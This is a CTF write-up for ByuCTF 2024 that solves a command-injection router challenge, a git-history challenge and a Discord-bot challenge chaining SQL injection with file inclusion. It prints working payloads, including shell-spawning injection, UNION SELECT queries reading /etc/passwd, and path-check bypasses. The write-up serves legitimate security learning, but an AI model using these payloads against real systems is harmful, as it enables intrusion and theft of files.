ByuCTF 2024 - WriteUp
Written by V0lk3n
Scoreboard
There was a total of 1230 Teams playing that CTF
Author Notes
Thanks ByuCTF Team for this CTF!
I personally prefered the last edition, but this one was cool too.
It was awesome to see IoT category, but pentesting miss me...
ByuCTF 2023 Official WriteUp : https://github.com/BYU-CSA/BYUCTF-2024-Public
Bellow is my WriteUp, enjoy!
- V0lk3n
Table of Contents
IoT
Reboot
Value : 100 points
Solve : 189 Solves
Challenge Description :
We found a command injection..... but you have to reboot the router to activate it...
nc reboot.chal.cyberjousting.com 1358
Author: Legoclones
Attachments :
- Netcat Instance
- reboot.zip
Solution
Starting Point
From the description, we learn that there is a command injection inside a router, but it need to be rebooted to execute the command.
We download the source code from the attachments and start to analyze the code.
There is two code needed to solve this challenge.
The first is the Dockerfile
to understand how the challenge is setup in the netcat
server. The second is server.py
to know how the router work.
Code analyze - Dockerfile
FROM debian:bullseye-slim
# install dependencies
RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install -y python3 xinetd
RUN rm -rf /var/lib/apt/lists/*
# setup unpriv user
RUN mkdir /ctf
RUN useradd -M -d /ctf ctf
# copy files
RUN echo "Connection blocked" > /etc/banner_fail
COPY ctf.xinetd /etc/xinetd.d/ctf
COPY start.sh /ctf
COPY server.py /ctf
COPY flag.txt /ctf
COPY xinetd.sh /ctf/xinetd.sh
COPY clean.sh /ctf/clean.sh
RUN mkdir -p /on/the/server/this/path/is/different/
RUN mv /ctf/flag.txt /on/the/server/this/path/is/different/$(cat /dev/urandom | tr -dc a-f0-9 | fold -w32 | head -n1)
# file perms
RUN chmod -R 750 /ctf
RUN chown -R root:ctf /ctf
# run
CMD ["bash", "/ctf/start.sh"]
EXPOSE 40000
From there, we learn that the flag.txt
file is copied inside the /ctf
folder.
COPY flag.txt /ctf
And then some folder are created recursively from the root of the server, but apparently we dont know their names.
RUN mkdir -p /on/the/server/this/path/is/different/
Finally, the flag content is copied inside it, and the flag filename is randomized.
RUN mv /ctf/flag.txt /on/the/server/this/path/is/different/$(cat /dev/urandom | tr -dc a-f0-9 | fold -w32 | head -n1)
In fact, we don’t know where is the flag, but we know that it should start at the root of the server.
Code Analyze - server.py
### IMPORTS ###
import os, time, sys
### INPUT ###
hostname = 'bababooey'
while True:
print('=== MENU ===')
print('1. Set hostname')
print('2. Reboot')
print()
choice = input('Choice: ')
if choice == '1':
hostname = input('Enter new hostname (30 chars max): ')[:30]
elif choice == '2':
print("Rebooting...")
sys.stdout.flush()
time.sleep(30)
os.system(f'cat /etc/hosts | grep {hostname} -i')
print('Reboot complete')
else:
print('Invalid choice')
We can see that we have two choice, the first is to enter a new hostname with maximum 30 characters, it is then saved inside the hostname
variable :
hostname = 'bababooey'
...
if choice == '1':
hostname = input('Enter new hostname (30 chars max): ')[:30]
The second is to reboot.
Looking at what happen when the router reboot and we see that a command is executed using os.system
. The command run cat
to read /etc/hosts
file, and then use grep
to take the hostname
variable value with the -i
parameter used to “ignore case distinctions in patterns and data”.
elif choice == '2':
print("Rebooting...")
sys.stdout.flush()
time.sleep(30)
os.system(f'cat /etc/hosts | grep {hostname} -i')
print('Reboot complete')
Here is how i failed, and then how i solved the challenge.
We understand that we can inject commands in the hostname filed by escaping the cat /etc/hosts | grep
field, by piping it, using semicolon or other similiar way.
We found how to exploit it, now it’s time to enumerate and retrieve the flag.
Exploitation - Enumerate and Fail
I started by setting an hostname to find the starting point of our flag at the root of the server.
To do this i used | ls / #
, for an explaination, i used the pipe mark to escape the grep command and write my own command, and ended it with a pound character #
to make the -i
grep parameter as a comment.
Command used : | ls / #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 1
Enter new hostname (30 chars max): | ls / #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 2
Rebooting...
Usage: grep [OPTION]... PATTERNS [FILE]...
Try 'grep --help' for more information.
bin
boot
ctf
dev
etc
home
lib
lib64
media
mnt
ohno
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
Reboot complete
From there, all folder seem normal, excepted ctf
and ohno
. We know that our flag is not inside ctf
so ohno
is our starting path for the flag.
Time to fail :)
I badly started to list folder inside ohno
and so on… and i came at this point.
Final command used (due to 30 chars restriction) : | ls /ohno/i/hope/this/isnt/ #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 1
Enter new hostname (30 chars max): | ls /ohno/i/hope/this/isnt/ #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 2
Rebooting...
Usage: grep [OPTION]... PATTERNS [FILE]...
Try 'grep --help' for more information.
17564611 too
Reboot complete
But… remember? Maximum 30 characters allowed as hostname…
Note that the folder path are saying “oh no i hope this isnt too”, too what… too long?? Huh??? Thanks to the creator to make us cry.
SO I USED MY LEET POWER TO…… fail again. Yeah…
I used the wildcard star character *
to make the path shorter, and reached this point.
Final command used (due to 30 chars restriction) : |ls /oh*/*/*/*/*/*/*/*/*/*/*/*/ #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 1
Enter new hostname (30 chars max): |ls /oh*/*/*/*/*/*/*/*/*/*/*/*/ #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 2
Rebooting...
Usage: grep [OPTION]... PATTERNS [FILE]...
Try 'grep --help' for more information.
17564618 lol
Reboot complete
Yeah… Again too much characters. Look at that “lol” folder which is totally laughing at us è_é. And this time if you noted the path, it’s saying “oh no i hope this isnt too long is this messing you up lol”.
The creator was literally SURE, that we will do this! Also, can you imagine the time consumed for nothing? One folder = one reboot! But i laughed a lot! That’s funny!
Well. Time to be smarter!
Exploitation - Flag it!
At this moment, i asked myself “How can i list every folder which is inside ohno
, and read every files in these (pretty sure there is only the flag at the end), at one go?”.
So i used find
, to list all the folder and the parameter -exec
combined with cat
to read all files inside these, and the magic happen!
Final Command used : | find /oh* -exec cat {} + #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 1
Enter new hostname (30 chars max): | find /oh* -exec cat {} + #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 2
Rebooting...
Usage: grep [OPTION]... PATTERNS [FILE]...
Try 'grep --help' for more information.
cat: /ohno: Is a directory
cat: /ohno/i: Is a directory
cat: /ohno/i/hope: Is a directory
cat: /ohno/i/hope/this: Is a directory
cat: /ohno/i/hope/this/isnt: Is a directory
cat: /ohno/i/hope/this/isnt/too: Is a directory
cat: /ohno/i/hope/this/isnt/too/long: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is/this: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is/this/messing: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is/this/messing/you: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is/this/messing/you/up: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is/this/messing/you/up/lol: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is/this/messing/you/up/lol/arent: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is/this/messing/you/up/lol/arent/ctfs: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is/this/messing/you/up/lol/arent/ctfs/so: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is/this/messing/you/up/lol/arent/ctfs/so/much: Is a directory
cat: /ohno/i/hope/this/isnt/too/long/is/this/messing/you/up/lol/arent/ctfs/so/much/fun: Is a directory
byuctf{expl0iting_th1s_r3al_w0rld_w4s_s000_ann0ying}
Reboot complete
Finally! One Shot! But something like 45minutes spend in failure è_é. Be smarter!
The final full path is : /ohno/i/hope/this/isnt/too/long/is/this/messing/you/up/lol/arent/ctfs/so/much/fun
There is a lot of way to get the flag, we can escape and call a shell too (i didn’t tried this because i was thinking that there was some protection… i was wrong):
Command used : ; /bin/sh #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 1
Enter new hostname (30 chars max): ; /bin/sh #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 2
Rebooting...
Usage: grep [OPTION]... PATTERNS [FILE]...
Try 'grep --help' for more information.
whoami
ctf
cat /ohno/i/hope/this/isnt/too/long/is/this/messing/you/up/lol/arent/ctfs/so/much/fun/*
byuctf{expl0iting_th1s_r3al_w0rld_w4s_s000_ann0ying}
Or abuse of the grep command and use parameter, thats so smart!
Command used : -r "byuctf*" /ohno #
Or : -r "{" /ohno #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 1
Enter new hostname (30 chars max): -r "byuctf*" /ohno #
=== MENU ===
1. Set hostname
2. Reboot
Choice: 2
Rebooting...
/ohno/i/hope/this/isnt/too/long/is/this/messing/you/up/lol/arent/ctfs/so/much/fun/bec88d76f73adcb8b5fae122baae0bc5:byuctf{expl0iting_th1s_r3al_w0rld_w4s_s000_ann0ying}
Reboot complete
And many other way…
Flag : byuctf{expl0iting_th1s_r3al_w0rld_w4s_s000_ann0ying}
Misc
Gitting Started
Value : 100 points
Solve : 509 Solves
Challenge Description :
A local hacker, TheITFirefly, who started up a blog to talk about his exploits in the tech world, has hidden a flag in the source code for his blog. Luckily, his source code is publicly available in a git repo!
https://gitlab.com/TheITFirefly/tech-blog
Author: TheITFirefly
Solution
This is an easy challenge to start the CTF.
Going to the gitlab
repository, we directly look at the commit history.
From there, we found a commit that jump to our eyes which is named “Fix accidental tracking of dynamically created resources”.
Opening that commit and looking at the code modifications reveal the flag.
Flag : byuctf{g1t_gud!}
Porg City
Value : 493 points
Solve : 22 Solves
Challenge Description :
https://discord.gg/3CxRJhTgxs
Author: deltabluejay
Solution
Starting Point
The description don’t show anything excepted a discord link to join the server Porg City
, so let’s join it.
Once Porg City
discord server joined, we can see the message bellow inside the #Welcome
canal.
Next, going to #porg-plaza
canal show us some “useless” message, but also the bot.
As we doesn’t have write permissions in the canal, we need to use the bot by direct message.
Looking at the Bot profile description, and we can see that we can use it using the command @Porg Bot helpme
.
Using this command, we are able to see what kind of command we can execute. We can “Find our porg friend” (we don’t understand yet the purpose), and also “Get it’s source code”.
Let’s retrieve the source code.
We download it and start our code analyze.
Source Code Analyze
First, here is the Code tree.
$ tree
.
├── code
│ ├── Dockerfile
│ ├── images
│ │ ├── bill.webp
│ │ ├── jen.webp
│ │ ├── jim.webp
│ │ ├── joe.webp
│ │ ├── magaret.webp
│ │ ├── pat.webp
│ │ ├── rachel.webp
│ │ ├── steve.webp
│ │ └── tim.webp
│ └── src
│ ├── flag.txt
│ ├── main.py
│ └── porgs.db
We have the Dockerfile
, which is used to setup the challenge. An images
folders with various “porgs” images. A folder src
, with a fake flag flag.txt
, the main source code main.py
, and the porgs database porgs.db
.
First, let’s review the Dockerfile.
Source Analyze - Dockerfile
FROM python:3.9
COPY images /srv/images
ENV RANDOM_DIR this_is_randomized_in_production
WORKDIR /usr/src/app/$RANDOM_DIR
COPY src .
RUN pip install --no-cache-dir disnake
ENV TOKEN='REDACTED'
RUN useradd ctf
RUN chown -R ctf:ctf /usr/src/app/$RANDOM_DIR
RUN chmod -R 500 /usr/src/app/$RANDOM_DIR
RUN chown -R ctf:ctf /srv/images
RUN chmod -R 500 /srv/images
USER ctf
CMD [ "python", "main.py" ]
From the Dockerfile, we can see how the challenge is setup in the target server.
The images are copied from the images
folder to /srv/images
COPY images /srv/images
Then it create an environment variable called RANDOM_DIR
with a value randomized.
It set as workdir the path /usr/src/app/$RANDOM_DIR
and copy the content of src
inside it.
ENV RANDOM_DIR this_is_randomized_in_production
WORKDIR /usr/src/app/$RANDOM_DIR
COPY src .
Then it add an user ctf
and give the correct permission to the user and folders.
In fact, this mean that we don’t know the exact path of the flag.txt
file, as it’s copied from src
(as seen in the code tree), to /usr/src/app/$RANDOM_DIR/flag.txt
and we don’t know the $RANDOM_DIR
environment variable value.
Now let’s analyze the main.py
code.
Source Analyze - main.py
Here is the code :
import disnake
from disnake.ext import commands
import sqlite3
import os
connection = sqlite3.connect("porgs.db")
cursor = connection.cursor()
bot = commands.Bot(command_prefix=commands.when_mentioned)
intents = disnake.Intents.default()
class Porg:
def __init__(self, data):
(self.id, self.name, self.age, self.fav_color, self.image) = data
@bot.event
async def on_ready():
print('Bot is up!')
if 'TOKEN' in os.environ:
del os.environ['TOKEN']
@bot.command()
async def helpme(ctx):
if not isinstance(ctx.channel, disnake.DMChannel):
await ctx.send("Please DM me to use this command.")
return
await ctx.send("""
helpme - This command
porg <name> - Find your porg friend
source - Get my source code
""")
@bot.command()
async def source(ctx):
if not isinstance(ctx.channel, disnake.DMChannel):
await ctx.send("Please DM me to use this command.")
return
src = disnake.File('code.zip')
await ctx.send("Here's my source code!", file=src)
@bot.command()
async def porg(ctx, *, name: str):
if not isinstance(ctx.channel, disnake.DMChannel):
await ctx.send("Please DM me to use this command.")
return
query = f"SELECT * FROM porgs WHERE name LIKE '{name}'"
try:
cursor.execute(query)
results = cursor.fetchall()
except Exception as e:
ctx.send("Error:", str(e))
return
if len(results) == 0:
await ctx.send(f"No Porg found with name {name}")
return
result = results[0]
porg = Porg(result)
if ('..' in porg.image):
await ctx.send("Nope!")
return
img = disnake.File(os.path.join('/srv/images/', porg.image))
display = disnake.Embed(title=porg.name, color=0x2545d1)
display.add_field(name="Name", value=porg.name, inline=True)
display.add_field(name="Age", value=porg.age, inline=True)
display.add_field(name="Favorite Color", value=porg.fav_color, inline=True)
display.set_image(file=img)
await ctx.send(embed=display)
bot.run(os.environ['TOKEN'])
The interesting part of the code, is the bot command porg
.
@bot.command()
async def porg(ctx, *, name: str):
if not isinstance(ctx.channel, disnake.DMChannel):
await ctx.send("Please DM me to use this command.")
return
query = f"SELECT * FROM porgs WHERE name LIKE '{name}'"
try:
cursor.execute(query)
results = cursor.fetchall()
except Exception as e:
ctx.send("Error:", str(e))
return
if len(results) == 0:
await ctx.send(f"No Porg found with name {name}")
return
result = results[0]
porg = Porg(result)
if ('..' in porg.image):
await ctx.send("Nope!")
return
img = disnake.File(os.path.join('/srv/images/', porg.image))
display = disnake.Embed(title=porg.name, color=0x2545d1)
display.add_field(name="Name", value=porg.name, inline=True)
display.add_field(name="Age", value=porg.age, inline=True)
display.add_field(name="Favorite Color", value=porg.fav_color, inline=True)
display.set_image(file=img)
await ctx.send(embed=display)
In this part of the code, we can see that when we supply a “porg” name using the bot @Porg Bot porg name_here
, an SQL query is executed to fetch the data inside the database.
And as we can see, we should be able to exploit an SQL injection, in the name
field.
query = f"SELECT * FROM porgs WHERE name LIKE '{name}'"
try:
cursor.execute(query)
results = cursor.fetchall()
We can see that if there is an exception an error happen, but unforunatly, the bot don’t show the error as there is no await
before the ctx.send
command.
except Exception as e:
ctx.send("Error:", str(e))
return
If the name isn’t inside the database, the bot reply with a message saying that the “porg is not found”. And this time the bot would reply as the await
command is present.
if len(results) == 0:
await ctx.send(f"No Porg found with name {name}")
return
We can see that there is a mitigation against LFI inside the image data column, so if we try to go to a previous path using ../
we would trigger the Nope!
message from the bot.
if ('..' in porg.image):
await ctx.send("Nope!")
return
Finally, we can see how the bot display informations fetch from the database.
img = disnake.File(os.path.join('/srv/images/', porg.image))
display = disnake.Embed(title=porg.name, color=0x2545d1)
display.add_field(name="Name", value=porg.name, inline=True)
display.add_field(name="Age", value=porg.age, inline=True)
display.add_field(name="Favorite Color", value=porg.fav_color, inline=True)
display.set_image(file=img)
await ctx.send(embed=display)
The interesting part in it is about porg.image
. The following line give the default path /srv/images/
using os.path.join
of the images.
img = disnake.File(os.path.join('/srv/images/', porg.image))
And the following line set the image as file.
display.set_image(file=img)
And then it display all that data as embed data.
await ctx.send(embed=display)
This is really interesting because if we can manage to make an SQL injection inside the query, and then manipulate the data displayed. We may be able to select the flag file instead of an image.
But we will have two main problem, the first is the local file inclusion mitigation, we will need to find a way to bypass it.
The second is that we don’t know where the flag is as we seen in the Dockerfile
code.
Now let’s analyze the database.
Source Analyze - porgs.db
Using strings, we can “kind of” read the contend of the db. This is realy not ideal, because the entry are complicate to understand.
But at first look we can see that the porgs
database have a table named porgs
which containt id
, name
, age
, fav_color
and image
columns.
$ strings porgs.db
SQLite format 3
itableporgsporgs
CREATE TABLE "porgs" (
"id" INTEGER NOT NULL UNIQUE,
"name" TEXT NOT NULL,
"age" INTEGER NOT NULL,
"fav_color" TEXT NOT NULL,
"image" TEXT NOT NULL,
PRIMARY KEY("id")
indexsqlite_autoindex_porgs_1porgs
greentim.webp
!Stevecyellowsteve.webp
#Rachel
redrachel.webp
pinkpat.webp
%Magaret
brownmagaret.webp
Joe bluejoe.webp
orangejim.webp
purplejen.webp
Bill
redbill.webp
Now for a better understanding of this, i used “SQLite Database Browser”, where i used the “Execute SQL” tab to send a Query and show all the data inside the porgs
table.
Query : SELECT * FROM porgs;
From there we are able to see clearly whats the column entry.
Now let’s move on.
Exploitation - SQL Injection
Now that we analyzed the code, let’s see how the @Porg Bot porg name
bot command work.
We will took a name value of the porgs.db
as value, and send an intended query.
Query : @Porg Bot porg Joe
Full Query in the server side : SELECT * FROM porgs WHERE name LIKE 'Joe'
Great! Now As we seen in the main.py
code, we should be able to exploit an SQL injection in the bot using the @Porg Bot porg {name}
command.
Let’s try a basic injection using a quote and see what we got.
Query : @Porg Bot porg '
Full Query in the server side : SELECT * FROM porgs WHERE name LIKE ''
Hum, no answer from the bot, as the quote should make an error, and that we cannot see the error (as we seen in source code analyse), let’s try to make a query a bit more advanced which should be executed correctly and return a result.
Query : @Porg Bot porg ' OR 1=1 --
Full Query in the server side : SELECT * FROM porgs WHERE name LIKE '' OR 1=1 --
Perfect! Here is another try i used using the %
character which is interpreted as a wildcard inside the name
field.
Query : @Porg Bot porg %
Full Query in the server side : SELECT * FROM porgs WHERE name LIKE '%'
Now let’s find a way to manipulate the retrieved data.
Exploitation - SQL Injection, Data Manipulation
The following query is a lot over looked, i ended with it because initially i was trying to create a row on the database to call my row after that.
As i’m not really good with SQL, i was learning while doing the challenge. But at the end, it didn’t worked as i expected it to work. But for the Write Up i want to include all of my different query used.
I Used UNION ALL
operator to combine two statement, with my pseudo as name
,NULL
value as id
, age
, fav_color
, and finally an existing image bill.webp
as img
to initially create a row and be sure to return it at one go using WHERE NOT EXISTS
with my second statement (this part is the useless one).
Query : @Porg Bot porg v0lk3n' UNION ALL SELECT NULL AS id, 'v0lk3n' AS name, NULL AS age, NULL AS fav_color, 'bill.webp' AS img WHERE NOT EXISTS (SELECT 1 FROM porgs WHERE name = 'v0lk3n') --
Full Query in the server side : SELECT * FROM porgs WHERE name LIKE 'v0lk3n' UNION ALL SELECT NULL AS id, 'v0lk3n' AS name, NULL AS age, NULL AS fav_color, 'bill.webp' AS img WHERE NOT EXISTS (SELECT 1 FROM porgs WHERE name = 'v0lk3n') --
As i said, this query is too much, with useless operations. So i’ve found another way a lot smaller than this. Once again using UNION
operator, and directly provide our data for the collumn in the right order.
Query : @Porg Bot porg ' UNION SELECT NULL, 'v0lk3n', 42, 'whitehat', 'bill.webp' --
Full Query in the server side : SELECT * FROM porgs WHERE name LIKE '' UNION SELECT NULL, 'v0lk3n', 42, 'whitehat', 'bill.webp' --
Great! Now we need to find a way to manipulate the data of img
to include our flag at this place. But for this to work, we will need to find a way to bypass the mitigation of the file inclusion.
Exploitation - SQL Injection, Bypass Mitigation
As we seen in the Source Analyse, there is a Mitigation that disallow ..
inside the img
collumn.
if ('..' in porg.image):
await ctx.send("Nope!")
return
I’ve found two bypass for this. The more easier and intended was to supply the full path. Because os.path.join
will not count the first path when a second path is provided.
img = disnake.File(os.path.join('/srv/images/', porg.image))
In fact, if i supply /full/path/tofile.txt
it will become /srv/images//full/path/tofile.txt
and interpret is as two path and use /full/path/tofile.txt
only.
Bypass : /full/path/tofile.txt
The second is “overlooked”, which is the following one.
Bypass : /./full/path/././tofile.txt
There is a tons of possibility to bypass LFI mitigation like this one, but as we can provide the full path, this isntt needed at all.
Now that we manipulated all the data with success, we can try to chain the SQL Injection with Local File Inclusion to make the bot display a file present in the server.
Exploitation - SQL Injection and Local File Inclusion
Note : While the CTF was running, i reached this point. I didn’t find the way to retrieve the data unfortunately as i was using the Discord app instead of the browser version, and i didn’t thinking about this.
Sadly, apparently the data should be returned directly as intended. But discord send a patch few days before the CTF which made the thing harder. (Anyway, i’m not sure i would find the way for the flag path, but i’ve retrieved /etc/passwd
file with success, without seeing it…)
Let’s start by attempting to retrieve /etc/passwd
file.
Query : @Porg Bot porg ' UNION SELECT NULL, 'v0lk3n', 42, 'whitehat', '/etc/passwd' --
Full Query in the server side : SELECT * FROM porgs WHERE name LIKE '' UNION SELECT NULL, 'v0lk3n', 42, 'whitehat', '/etc/passwd' --
The bot reply, with empty data for the image field. We need to use the Dev Tools of our browser and look at the network tab and refresh the page to look for the data.
The data can be found on the file messages?limite=50
inside the objects of the Response
tab.
Looking at the object of the bot answer, we can find the Embeds
data, where we can found an url
with a cdn discord link pointing to the attachments file.
Open that link to download the /etc/passwd
file and retrieve it’s content.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ctf:x:1000:1000::/home/ctf:/bin/sh
Perfect! Now to retrieve the flag.txt
, we need to repeat this process, but we need to know it’s path location.
As it’s randomized, we don’t know it, so we need to find a work around.
A way to do this is to go inside the /proc/self/cwd
folder, which is used as python workdir for the running app. By this way, the flag will be found inside /proc/self/cwd/flag.txt
without needing to find the real path.
For more information, take a look at the procfs
documentation.
Procfs documentation : https://man7.org/linux/man-pages/man5/procfs.5.html
Query : @Porg Bot porg ' UNION SELECT NULL, 'v0lk3n', 42, 'whitehat', '/proc/self/cwd/flag.txt' --
Full Query in the server side : SELECT * FROM porgs WHERE name LIKE '' UNION SELECT NULL, 'v0lk3n', 42, 'whitehat', '/proc/self/cwd/flag.txt' --
We open the Dev Tools, refresh the page, look at the messages?limit=50
file and it’s response.
Then we look at the Objects and find the embeded URL.
Open the Discord CDN link and we retrieve the flag!
Official WriteUp : https://github.com/BYU-CSA/BYUCTF-2024-Public/tree/main/misc/porg-city
And bellow, how it should be solved as intended before the discord patch (screenshot taken from the official WriteUp)
Flag : byuctf{hehehe_hASWHHyrc9_https://i.imgflip.com/8l27ka.jpg}
Try Harder!
For this challenge, i’ve sent 471 messages to the bot.
A total of 642 messages, if we count the reply of the bot.
Unfortunately, i haven’t solved the challenge before the end of the CTF. But i learned a lot in SQL language and some other tips such as find the workdir inside the proc file system.
This was an amazing challenge!
Credits
Special thanks to :
- ByuCTF Staff! For the organization as alway!
- Zell! Which tried is best and took down a lot of OSINT and others challenge
And of course…
Thanks to my team Godzillhack!